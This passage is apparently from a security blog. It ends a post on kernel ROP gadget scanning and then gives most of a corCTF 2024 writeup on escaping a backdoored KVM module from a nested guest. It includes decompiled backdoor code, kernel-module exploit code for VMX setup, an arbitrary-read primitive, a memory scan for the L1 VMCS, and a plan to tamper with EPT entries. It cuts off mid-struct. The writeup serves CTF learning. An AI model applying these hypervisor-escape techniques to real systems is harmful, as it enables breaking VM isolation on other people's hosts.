<p>When doing static ROP gadget scanning there is no way to know what CPU the user is targeting without their input. The data from the host’s CPU could be enumerated via <code class="language-plaintext highlighter-rouge">cpuid</code> but that will be different than the set of CPU features supported in a Qemu VM, even if using KVM and passing the <code class="language-plaintext highlighter-rouge">--cpu host</code>! If the VM specifies <code class="language-plaintext highlighter-rouge">--cpu kvm64</code> or <code class="language-plaintext highlighter-rouge">--cpu qemu64</code> the set of features will be even less similar to that of the host.</p>

<p>I think there are a few options to address this problem:</p>
<ul>
  <li>Allow the user to provide a CPUID dump or <code class="language-plaintext highlighter-rouge">/proc/cpuinfo</code> content from the target kernel</li>
  <li>Allow the user to specify a CPU model and have a database of what features common CPUs support</li>
  <li>Provide an option that filters out any gadgets that overlap with any of the instructions in <code class="language-plaintext highlighter-rouge">.altinstructions</code> to remove any false positives</li>
  <li>Provide a reasonable default configuration of alternatives to apply, e.g., I think we can assume that most CPUs support SMAP related instructions these days</li>
</ul>

<p>While I do want to support some of these in kropr eventually, none of these options are currently implemented. I don’t think alternatives have a major impact on the number of false positives/negatives, at least not anywhere near as bad as the other problems I discussed. All of these replacements are related to the CPU architecture, which means there aren’t <em>that</em> many of them and the replacements <em>mostly</em> add instructions that are not typically used in ROP chains.</p>

<h1 id="the-conclusion-problem">The Conclusion Problem</h1>

<p>Thanks for reading, that’s all I’ve got :3</p>

<p>This whole rabbit hole of trying to improve Linux kernel ROP gadget discovery was really fun to go down, and led to the creation of what I think is a pretty useful tool!</p>

<p>At this point kropr has existed as a fork for a bit over a year and I’ve been using it or kernel pwn since its creation.
Despite never really advertising it outside of my lab its actually gained a decent amount of attention, which is always nice to see.
Anyways, if you do any Linux kernel pwn you should check it out and open an issue on the repo if you run into any problems while using it!</p>

<p>Github Link: <a href="https://github.com/zolutal/kropr">https://github.com/zolutal/kropr</a></p>]]></content><author><name>Jennifer Miller</name></author><category term="Exploitation" /><category term="Linux" /><summary type="html"><![CDATA[Linux Kernel ROP gadget scanning is one of those things that seems easy in theory – just run ROPgadget --binary vmlinux on it! In practice, however, anyone who has used that method has likely had to sift through a large amount of false positives and likely missed some gadgets due to false negatives. This is a result of a few quirks of Linux kernel images, some of which make solving the false positive/negative problems a bit difficult.]]></summary></entry><entry><title type="html">corCTF 2024: trojan-turtles writeup</title><link href="https://zolutal.github.io/corctf-trojan-turtles/" rel="alternate" type="text/html" title="corCTF 2024: trojan-turtles writeup" /><published>2024-07-28T00:00:00+00:00</published><updated>2024-07-28T00:00:00+00:00</updated><id>https://zolutal.github.io/corctf-trojan-turtles</id><content type="html" xml:base="https://zolutal.github.io/corctf-trojan-turtles/"><![CDATA[<p>This year I played corCTF with Shellphish, and we did pretty well – placing 6th!
I worked on two challenges: ‘trojan-turtles’ and ‘its-just-a-dos-bug-bro’, in the end we solved both of them and both only had two solves by the end.</p>

<p>This will be a writeup for ‘trojan-turtles’, a challenge which involved exploiting a backdoored KVM kernel module from a guest VM to read the flag located on the parent VM.</p>

<p>NOTE: In this challenge we are given code execution in an L2 guest (guest inside another guest). When I refer to the ‘host’ in this writeup I’m referencing the parent VM of the one we are given code execution which has the vulnerability inserted in it, really it is the L1 guest but I think it is easier to just think of it as the host in the context of the challenge since the real host VM is transparent to us.</p>

<p>Here is the challenge description:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>A mysterious person who goes by Tia Jan recently replaced our nested hypervisor's Intel KVM driver with a new driver.
Can you take a look at this and see if our systems have been compromised?

Note that the goal of this challenge is to escape from the L2 guest to the root user on the L1 guest.
You will need an Intel system with modern VMX extensions to debug this challenge.

The L1 guest is running a 6.9.0 kernel with the provided kconfig below. The L2 guest is running a 5.15.0-107 Ubuntu HWE kernel.
You can retrieve the necessary headers from the following links:
- https://packages.ubuntu.com/focal/linux-headers-5.15.0-107-generic
- https://packages.ubuntu.com/focal-updates/linux-hwe-5.15-headers-5.15.0-107

You can download the 6.9.0 kernel source at https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.9.tar.xz
</code></pre></div></div>

<p>dist:</p>
<ul>
  <li><a href="/assets/corctf-trojan-turtles/dist/bzImage">bzImage</a></li>
  <li><a href="/assets/corctf-trojan-turtles/dist/chall.qcow2">chall.qcow2</a></li>
  <li><a href="/assets/corctf-trojan-turtles/dist/kconfig">kconfig</a></li>
  <li><a href="/assets/corctf-trojan-turtles/dist/kvm-intel-original.ko">kvm-intel-original.ko</a></li>
  <li><a href="/assets/corctf-trojan-turtles/dist/kvm-intel-new.ko">kvm-intel-new.ko</a></li>
  <li><a href="/assets/corctf-trojan-turtles/dist/run.sh">run.sh</a></li>
  <li><a href="/assets/corctf-trojan-turtles/dist/linux-headers-5.15.0-107-generic_5.15.0-107.117~20.04.1_amd64.deb">linux-headers-5.15.0-107-generic_5.15.0-107.117~20.04.1_amd64.deb</a></li>
  <li><a href="/assets/corctf-trojan-turtles/dist/linux-hwe-5.15-headers-5.15.0-107_5.15.0-107.117~20.04.1_all.deb">linux-hwe-5.15-headers-5.15.0-107_5.15.0-107.117~20.04.1_all.deb</a></li>
</ul>

<p>exploit:
<a href="/assets/corctf-trojan-turtles/exploit.c">exploit.c</a></p>

<h2 id="background">Background</h2>

<p>Given that this challenge is about ‘escaping KVM’, I figured I’d provide some background on KVM and virtualization.</p>

<h3 id="what-is-it">what is it</h3>
<p>KVM stands for ‘Kernel-based Virtual Machine’, and it provides an in-kernel api for creating virtual machines.
Essentially its purposes are to abstract a lot of the vendor specific implementations of virtualization features, e.g. Intel’s VMX and AMD’s SVM, and provide an API to userspace through which the privileged operations required for configuring virtualization may be performed.</p>

<p>The API is implemented as a device driver “/dev/kvm” with various commands that can be issued via <code class="language-plaintext highlighter-rouge">ioctl</code>.
This means, for example, that rather than needing to understand your processor vendor’s virtualization features and write your own kernel module to set a VM’s registers you can simply use the <code class="language-plaintext highlighter-rouge">KVM_SET_REGS</code> command.
You can read more about the KVM API in the kenel docs here: <a href="https://docs.kernel.org/virt/kvm/api.html">https://docs.kernel.org/virt/kvm/api.html</a></p>

<p>KVM can either be compiled into the kernel or compiled as a separate kernel module, e.g. kvm-intel.ko.
This depends on the config that was used to compile the kernel, if <code class="language-plaintext highlighter-rouge">CONFIG_KVM_INTEL</code> is set to <code class="language-plaintext highlighter-rouge">y</code> it will be compiled in to the kernel image, if it is set to ‘m’ it will be a kernel module.</p>

<p>When you execute qemu-system with <code class="language-plaintext highlighter-rouge">--enable-kvm</code> Qemu uses the KVM API rather than doing emulation.</p>

<h3 id="hardware-assisted-virtualization">hardware assisted virtualization</h3>
<p>There are several methods for creating virtual machines, including trap-and-emulate, hardware assisted virtualization, and full emulation. In the case of KVM, we are dealing with hardware assisted virtualization.
This is a really cool feature of modern CPUs where you can enter into an execution mode that uses a different state – registers, address space, etc. – which is isolated from your host’s state.</p>

<p>Certain operations that the VM performs will cause a ‘VMEXIT’, exiting the virtualization for the host to handle the operations.
What operations cause VMEXITs is configurable but some common VMEXITs are the result of IO/MMIO operations, halts, the cpuid instruction, and shutdowns.
One especially relevant class of instructions that can be handled via VMEXITs is virtualization instructions, the same instructions that KVM will use to setup and modify VM state, which allows you to create hardware assisted VMs inside of other hardware assisted VMs.</p>

<p>Hardware assisted virtualization enables a better version of what trap-and-emulate wants to achieve, since with hardware virtualization not every privileged instruction needs to be emulated by the host kernel.
The processor can handle most of the privileged instructions in the virtualized guest’s context but certain operations can still trap via a VMEXIT to the host kernel to be emulated.</p>

<h2 id="diffing">Diffing</h2>

<p>Based on the description and the two versions of kvm-intel.ko attached to the challenge, we can assume the vulnerability is in the .ko and not in the bzImage.
Seeing this, I did some highly-advanced-binary-diffing(tm) by opening the kernel modules in binary ninja, exporting the HLIL of each to a file and diffing them.</p>

<p>The constant 0x1337babe stood out in the diff, probably the backdoor we were looking for:</p>
<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gi">&gt;                 label_1f0ac:
&gt;                 int64_t rax_8
&gt;                 int64_t rsi_7
&gt;                 rax_8, rsi_7 = kvm_get_dr(rbp, 0)
&gt;
&gt;                 if (rax_8 == 0x1337babe)
&gt;                     int64_t rax_28 = kvm_get_dr(rbp, 1)
&gt;                     int64_t rax_29
&gt;                     rax_29, rsi_7 = kvm_get_dr(rbp, 2)
&gt;                     *(r12 + (rax_28 &lt;&lt; 3)) = rax_29
&gt;
</span></code></pre></div></div>

<p>On closer inspection there were two locations where that constant appeared: in the functions <code class="language-plaintext highlighter-rouge">handle_vmread</code> and <code class="language-plaintext highlighter-rouge">handle_vmwrite</code></p>

<h2 id="analyzing-the-backdoor">Analyzing the Backdoor</h2>
<p>So we found suspicious code but what does that code do?</p>

<p>As I mentioned earlier, virtualization instructions can cause VMEXITs to be handled by the parent VM.
Two such virtualization instructions are ‘vmread’ and ‘vmwrite’, which correspond to the two handler functions modified in the provided kvm-intel.ko.</p>

<p>In the context of this challenge we have code execution in a guest VM of the VM that has the vulnerable KVM module.
So reasonably to hit the vulnerable code it would make sense that we just need to execute the related instruction in our VM.</p>

<p>Taking a closer look at those modified functions:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int64_t</span> <span class="n">handle_vmread</span><span class="p">(</span><span class="kt">void</span><span class="o">*</span> <span class="n">arg1</span><span class="p">)</span>
    <span class="kt">void</span><span class="o">*</span> <span class="n">rbp</span> <span class="o">=</span> <span class="n">arg1</span>
    <span class="kt">void</span><span class="o">*</span> <span class="n">r15</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">arg1</span> <span class="o">+</span> <span class="mh">0x1c78</span><span class="p">)</span>
    <span class="kt">void</span><span class="o">*</span> <span class="n">gsbase</span>
    <span class="kt">int64_t</span> <span class="n">rax</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">gsbase</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">)</span>
    <span class="p">...</span>
                <span class="kt">int64_t</span> <span class="n">rax_9</span>
                <span class="n">rax_9</span><span class="p">,</span> <span class="n">rsi_1</span> <span class="o">=</span> <span class="n">kvm_get_dr</span><span class="p">(</span><span class="n">rbp</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>

                <span class="k">if</span> <span class="p">(</span><span class="n">rax_9</span> <span class="o">==</span> <span class="mh">0x1337babe</span><span class="p">)</span>
                    <span class="n">rsi_1</span> <span class="o">=</span> <span class="n">kvm_set_dr</span><span class="p">(</span><span class="n">rbp</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="o">*</span><span class="p">(</span><span class="n">r15</span> <span class="o">+</span> <span class="p">(</span><span class="n">kvm_get_dr</span><span class="p">(</span><span class="n">rbp</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">3</span><span class="p">)))</span>
</code></pre></div></div>

<p>We see in handle vmread that the introduced code is using the <code class="language-plaintext highlighter-rouge">kvm_get_dr</code> function to read the guest’s debug registers.
In steps it:</p>
<ul>
  <li>reads dr0 and checks that it’s value matches <code class="language-plaintext highlighter-rouge">0x1337babe</code></li>
  <li>reads dr1, shifts its value left by 3, adds it to whatever is in r15, and dereferences that value</li>
  <li>sets the value it read based on dr1 into dr0</li>
</ul>

<p>From this we realized it is effectively an arbitrary read relative to the value in r15.
After reading the orignal source it became clear that this is the pointer to our VMCS (the one we just allocated in our guest), in the host’s address space:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">handle_vmread</span><span class="p">(</span><span class="k">struct</span> <span class="n">kvm_vcpu</span> <span class="o">*</span><span class="n">vcpu</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">struct</span> <span class="n">vmcs12</span> <span class="o">*</span><span class="n">vmcs12</span> <span class="o">=</span> <span class="n">is_guest_mode</span><span class="p">(</span><span class="n">vcpu</span><span class="p">)</span> <span class="o">?</span> <span class="n">get_shadow_vmcs12</span><span class="p">(</span><span class="n">vcpu</span><span class="p">)</span>
                            <span class="o">:</span> <span class="n">get_vmcs12</span><span class="p">(</span><span class="n">vcpu</span><span class="p">);</span>
<span class="p">...</span>
</code></pre></div></div>

<p>After a peek at the <code class="language-plaintext highlighter-rouge">handle_vmwrite</code> function:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int64_t</span> <span class="n">handle_vmwrite</span><span class="p">(</span><span class="kt">void</span><span class="o">*</span> <span class="n">arg1</span><span class="p">)</span>
    <span class="kt">void</span><span class="o">*</span> <span class="n">rbp</span> <span class="o">=</span> <span class="n">arg1</span>
    <span class="kt">void</span><span class="o">*</span> <span class="n">r12</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">arg1</span> <span class="o">+</span> <span class="mh">0x1c78</span><span class="p">)</span>
    <span class="kt">void</span><span class="o">*</span> <span class="n">gsbase</span>
    <span class="kt">int64_t</span> <span class="n">rax</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">gsbase</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">)</span>
    <span class="p">...</span>
                    <span class="n">rax_8</span><span class="p">,</span> <span class="n">rsi_7</span> <span class="o">=</span> <span class="n">kvm_get_dr</span><span class="p">(</span><span class="n">rbp</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>

                    <span class="k">if</span> <span class="p">(</span><span class="n">rax_8</span> <span class="o">==</span> <span class="mh">0x1337babe</span><span class="p">)</span>
                        <span class="kt">int64_t</span> <span class="n">rax_28</span> <span class="o">=</span> <span class="n">kvm_get_dr</span><span class="p">(</span><span class="n">rbp</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
                        <span class="kt">int64_t</span> <span class="n">rax_29</span>
                        <span class="n">rax_29</span><span class="p">,</span> <span class="n">rsi_7</span> <span class="o">=</span> <span class="n">kvm_get_dr</span><span class="p">(</span><span class="n">rbp</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span>
                        <span class="o">*</span><span class="p">(</span><span class="n">r12</span> <span class="o">+</span> <span class="p">(</span><span class="n">rax_28</span> <span class="o">&lt;&lt;</span> <span class="mi">3</span><span class="p">))</span> <span class="o">=</span> <span class="n">rax_29</span>
</code></pre></div></div>

<p>It became clear that this was an arbitrary write based on also relative to our VMCS based on the offset in dr1 and value in dr2.</p>

<h2 id="hitting-the-backdoor">Hitting the Backdoor</h2>

<p>Unfortunately hitting those handlers wasn’t quite so simple.</p>

<p>To be able to execute the vmread/vmwrite instructions some setup is required.
Thankfully, I got some help from a teamate who is far more familiar with Intel’s virtualization features than I am when figuring this part out.
The vmread and vmwrite instructions are for interacting with the “Virtual-Machine Control Structure” (VMCS), but at the moment in our VM the virtualization feature isn’t enabled and we don’t have a valid VMCS.</p>

<p>Also note that all of the virtualization instructions are privileged so the exploit code snippets in this post are part of a kernel module.</p>

<p>So first I enabled the VMX feature by setting the VMXE bit in cr4:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">cr4</span> <span class="o">=</span> <span class="n">native_read_cr4</span><span class="p">();</span>
    <span class="n">cr4</span> <span class="o">|=</span> <span class="mi">1ul</span> <span class="o">&lt;&lt;</span> <span class="mi">13</span><span class="p">;</span>
    <span class="n">native_write_cr4</span><span class="p">(</span><span class="n">cr4</span><span class="p">);</span>
</code></pre></div></div>

<p>Next I had to create a valid VMXON region and VMCS, which is done by allocating two pages, setting the <code class="language-plaintext highlighter-rouge">vmcs_revision</code> value into the start of the page, then executing vmxon and vmptrld with the physical addresses of those pages:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">vmxon_page</span> <span class="o">=</span> <span class="n">kzalloc</span><span class="p">(</span><span class="mh">0x1000</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">);</span>
    <span class="n">vmptrld_page</span> <span class="o">=</span> <span class="n">kzalloc</span><span class="p">(</span><span class="mh">0x1000</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">);</span>

    <span class="n">vmxon_page_pa</span> <span class="o">=</span> <span class="n">virt_to_phys</span><span class="p">(</span><span class="n">vmxon_page</span><span class="p">);</span>
    <span class="n">vmptrld_page_pa</span> <span class="o">=</span> <span class="n">virt_to_phys</span><span class="p">(</span><span class="n">vmptrld_page</span><span class="p">);</span>

    <span class="o">*</span><span class="p">(</span><span class="kt">uint32_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">vmxon_page</span><span class="p">)</span> <span class="o">=</span> <span class="n">vmcs_revision</span><span class="p">();</span>
    <span class="o">*</span><span class="p">(</span><span class="kt">uint32_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">vmptrld_page</span><span class="p">)</span> <span class="o">=</span> <span class="n">vmcs_revision</span><span class="p">();</span>

    <span class="n">res</span> <span class="o">=</span> <span class="n">vmxon</span><span class="p">(</span><span class="n">vmxon_page_pa</span><span class="p">);</span>
    <span class="n">res</span> <span class="o">=</span> <span class="n">vmptrld</span><span class="p">(</span><span class="n">vmptrld_page_pa</span><span class="p">);</span>
</code></pre></div></div>
<p>My teamate linked me this resource which provides some more specific information on this stuff and was extremely helpful: <a href="https://wiki.osdev.org/VMX">https://wiki.osdev.org/VMX</a></p>

<p>Finally, after doing that setup, we can execute the vmread/vmwrite instructions to hit the vulnerable code as such:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">asm</span> <span class="nf">volatile</span><span class="p">(</span><span class="s">"vmread %[field], %[output]</span><span class="se">\n\t</span><span class="s">"</span>
          <span class="o">:</span> <span class="p">[</span><span class="n">output</span><span class="p">]</span> <span class="s">"=r"</span> <span class="p">(</span><span class="n">vmread_value</span><span class="p">)</span>
          <span class="o">:</span> <span class="p">[</span><span class="n">field</span><span class="p">]</span> <span class="s">"r"</span> <span class="p">(</span><span class="n">vmread_field</span><span class="p">)</span> <span class="o">:</span> <span class="p">);</span>

    <span class="n">asm</span> <span class="nf">volatile</span><span class="p">(</span><span class="s">"vmwrite %[value], %[field]</span><span class="se">\n\t</span><span class="s">"</span>
          <span class="o">:</span>
          <span class="o">:</span> <span class="p">[</span><span class="n">field</span><span class="p">]</span> <span class="s">"r"</span> <span class="p">(</span><span class="n">vmwrite_field</span><span class="p">),</span>
            <span class="p">[</span><span class="n">value</span><span class="p">]</span> <span class="s">"r"</span> <span class="p">(</span><span class="n">vmwrite_value</span><span class="p">)</span> <span class="o">:</span> <span class="p">);</span>
</code></pre></div></div>

<h2 id="exploitation">Exploitation</h2>
<p>The exploitation for this challenge was really fun, I think the most clear path for exploitation would have been to create a ROP chain in the host’s address space, which reads the flag into the guest’s address space, and cause a stack pivot to it.
But my teamate suggested a path that sounded more interesting: messing with Extended Page Table (EPT) feature to map the host’s address space into the guest.</p>

<p>It sounded like a fun approach to try so I went for it, but I knew nothing about EPT and getting to the point where I could even interact with EPT was pretty challenging.</p>

<h3 id="the-goal">the goal</h3>

<p>So the plan is either:</p>

<p>Find the host’s VMCS for the VM we are executing in and hijack the Extended Page Table Pointer (EPTP) in the structure to point to a forged EPT.</p>

<p>- OR -</p>

<p>Find the existing EPT, by reading the EPTP, for our VM and insert entries to map all of the host’s memory into the guest.</p>

<p>The approach I ended up going for was writing entries into the existing EPT for the guest.
The challenge here is we needed to find the VMCS for the guest VM to find the EPTP, and we will need information about the host’s memory layout to know the offset to the existing EPT to modify and to walk one level of the EPT .</p>

<h3 id="finding-the-guest-vmcs">finding the guest VMCS</h3>

<p>The VMCS we created, and which we have relative arb read/write from, is allocated somewhere in the host’s heap.
Which is convenient because it means we have access to the kernel’s physmap, containing everything we could possibly want to read or write.</p>

<p>For this purpose I turned the arbitrary read in <code class="language-plaintext highlighter-rouge">handle_vmread</code> into this primitive, which just sets db0, db1, executes a vmread, then returns the value of dr2:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">noinline</span> <span class="kt">uint64_t</span> <span class="nf">read_guy</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">offset</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">uint64_t</span> <span class="n">val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="kt">uint64_t</span> <span class="n">vmread_field</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">vmread_value</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="n">native_set_debugreg</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mh">0x1337babe</span><span class="p">);</span>
    <span class="n">native_set_debugreg</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">offset</span><span class="p">);</span>
    <span class="n">asm</span> <span class="k">volatile</span><span class="p">(</span> <span class="s">"vmread %[field], %[output]</span><span class="se">\n\t</span><span class="s">"</span>
              <span class="o">:</span> <span class="p">[</span><span class="n">output</span><span class="p">]</span> <span class="s">"=r"</span> <span class="p">(</span><span class="n">vmread_value</span><span class="p">)</span>
              <span class="o">:</span> <span class="p">[</span><span class="n">field</span><span class="p">]</span> <span class="s">"r"</span> <span class="p">(</span><span class="n">vmread_field</span><span class="p">)</span> <span class="o">:</span> <span class="p">);</span>
    <span class="n">val</span> <span class="o">=</span> <span class="n">native_get_debugreg</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span>

    <span class="k">return</span> <span class="n">val</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Now we were able to start scanning the host’s memory to find the guest’s VMCS!
But there was still the question of what value are we actually looking for when scanning…</p>

<p>Here is a truncated definition of the <code class="language-plaintext highlighter-rouge">struct vmcs12</code> that we are looking for:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">__packed</span> <span class="n">vmcs12</span> <span class="p">{</span>
    <span class="cm">/* According to the Intel spec, a VMCS region must start with the
     * following two fields. Then follow implementation-specific data.
     */</span>
    <span class="k">struct</span> <span class="n">vmcs_hdr</span> <span class="n">hdr</span><span class="p">;</span>
    <span class="n">u32</span> <span class="n">abort</span><span class="p">;</span>

    <span class="n">u32</span> <span class="n">launch_state</span><span class="p">;</span> <span class="cm">/* set to 0 by VMCLEAR, to 1 by VMLAUNCH */</span>
    <span class="n">u32</span> <span class="n">padding</span><span class="p">[</span><span class="mi">7</span><span class="p">];</span> <span class="cm">/* room for future expansion */</span>

    <span class="n">u64</span> <span class="n">io_bitmap_a</span><span class="p">;</span>
    <span class="n">u64</span> <span class="n">io_bitmap_b</span><span class="p">;</span>
    <span class="n">u64</span> <span class="n">msr_bitmap</span><span class="p">;</span>
    <span class="n">u64</span> <span class="n">vm_exit_msr_store_addr</span><span class="p">;</span>
    <span class="n">u64</span> <span class="n">vm_exit_msr_load_addr</span><span class="p">;</span>
    <span class="n">u64</span> <span class="n">vm_entry_msr_load_addr</span><span class="p">;</span>
    <span class="n">u64</span> <span class="n">tsc_offset</span><span class="p">;</span>
    <span class="n">u64</span> <span class="n">virtual_apic_page_addr</span><span class="p">;</span>
    <span class="n">u64</span> <span class="n">apic_access_addr</span><span class="p">;</span>
    <span class="n">u64</span> <span class="n">posted_intr_desc_addr</span><span class="p">;</span>
    <span class="n">u64</span> <span class="n">ept_pointer</span><span class="p">;</span>
    <span class="p">...</span>
    <span class="n">natural_width</span> <span class="n">guest_gdtr_base</span><span class="p">;</span>
    <span class="n">natural_width</span> <span class="n">guest_idtr_base</span><span class="p">;</span>
    <span class="n">natural_width</span> <span class="n">guest_dr7</span><span class="p">;</span>
    <span class="n">natural_width</span> <span class="n">guest_rsp</span><span class="p">;</span>
    <span class="n">natural_width</span> <span class="n">guest_rip</span><span class="p">;</span>
    <span class="n">natural_width</span> <span class="n">guest_rflags</span><span class="p">;</span>
    <span class="p">...</span>
<span class="p">};</span>
</code></pre></div></div>

<p>From the fields in this struct I looked for fields that would be fairly unique and that I knew the value of, I ended up choosing the <code class="language-plaintext highlighter-rouge">guest_idtr_base</code>.
Conveniently, the VMCS is required to be page aligned so I just needed to look for the IDT base address <code class="language-plaintext highlighter-rouge">0xfffffe0000000000</code> at offset 0x208 at at page granularity:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">noinline</span> <span class="kt">int</span> <span class="nf">find_l1_vmcs</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="n">l1_vmcs_offset</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">unsigned</span> <span class="kt">long</span> <span class="kt">long</span> <span class="n">pos_offset</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">neg_offset</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">zero_val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">pos_val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">neg_val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">found_val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">found_offset</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="kt">uint64_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="n">zero_val</span> <span class="o">=</span> <span class="n">read_guy</span><span class="p">(</span><span class="mi">0ull</span><span class="p">);</span>
    <span class="n">pr_info</span><span class="p">(</span><span class="s">"vmcs12[0] = %llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">zero_val</span><span class="p">);</span>

    <span class="c1">// scan in each direction looking for the guest_idtr_base field of the l1 vm</span>
    <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x4000</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// from attaching to the l1 guest, the address of guest_idtr_base always has 0x208 in the lower 3 nibbles</span>
        <span class="n">pos_offset</span> <span class="o">=</span> <span class="p">((</span><span class="n">i</span> <span class="o">*</span> <span class="mh">0x1000</span><span class="p">)</span> <span class="o">+</span> <span class="mh">0x208</span><span class="p">)</span> <span class="o">/</span> <span class="mi">8</span><span class="p">;</span>
        <span class="n">neg_offset</span> <span class="o">=</span> <span class="p">((</span><span class="n">i</span> <span class="o">*</span> <span class="o">-</span><span class="mi">1</span> <span class="o">*</span> <span class="mh">0x1000</span><span class="p">)</span> <span class="o">+</span> <span class="mh">0x208</span><span class="p">)</span> <span class="o">/</span> <span class="mi">8</span><span class="p">;</span>

        <span class="n">pos_val</span> <span class="o">=</span> <span class="n">read_guy</span><span class="p">(</span><span class="n">pos_offset</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">pos_val</span> <span class="o">==</span> <span class="n">IDT_BASE</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">found_val</span> <span class="o">=</span> <span class="n">pos_val</span><span class="p">;</span>
            <span class="n">found_offset</span> <span class="o">=</span> <span class="n">pos_offset</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">neg_val</span> <span class="o">=</span> <span class="n">read_guy</span><span class="p">(</span><span class="n">neg_offset</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">neg_val</span> <span class="o">==</span> <span class="n">IDT_BASE</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">found_val</span> <span class="o">=</span> <span class="n">neg_val</span><span class="p">;</span>
            <span class="n">found_offset</span> <span class="o">=</span> <span class="n">neg_offset</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">found_val</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">pr_info</span><span class="p">(</span><span class="s">"[exp]: IDT NOT FOUND :(</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="o">*</span><span class="n">l1_vmcs_offset</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="n">pr_info</span><span class="p">(</span><span class="s">"[exp]: Found IDT in l1 at offset %lld; value: %llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">found_offset</span><span class="p">,</span> <span class="n">found_val</span><span class="p">);</span>
        <span class="o">*</span><span class="n">l1_vmcs_offset</span> <span class="o">=</span> <span class="n">found_offset</span><span class="p">;</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<h3 id="finding-the-address-of-the-nested-vmcs">finding the address of the nested VMCS</h3>

<p>After finding this, I wanted to figure out the virtual address the arb read/write is relative to in the host.
I realized as I was reading the <code class="language-plaintext highlighter-rouge">handle_vmread</code> function that the <code class="language-plaintext highlighter-rouge">nested_vmx</code> struct holds a pointer to the nested guest’s VMCS: <code class="language-plaintext highlighter-rouge">cached_vmcs12</code>.
It also contains some fields we know the values of: <code class="language-plaintext highlighter-rouge">vmxon_ptr</code> and <code class="language-plaintext highlighter-rouge">current_vmptr</code> which are the guest physical addresses for the VMXON region and VMCS we created.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">nested_vmx</span> <span class="p">{</span>
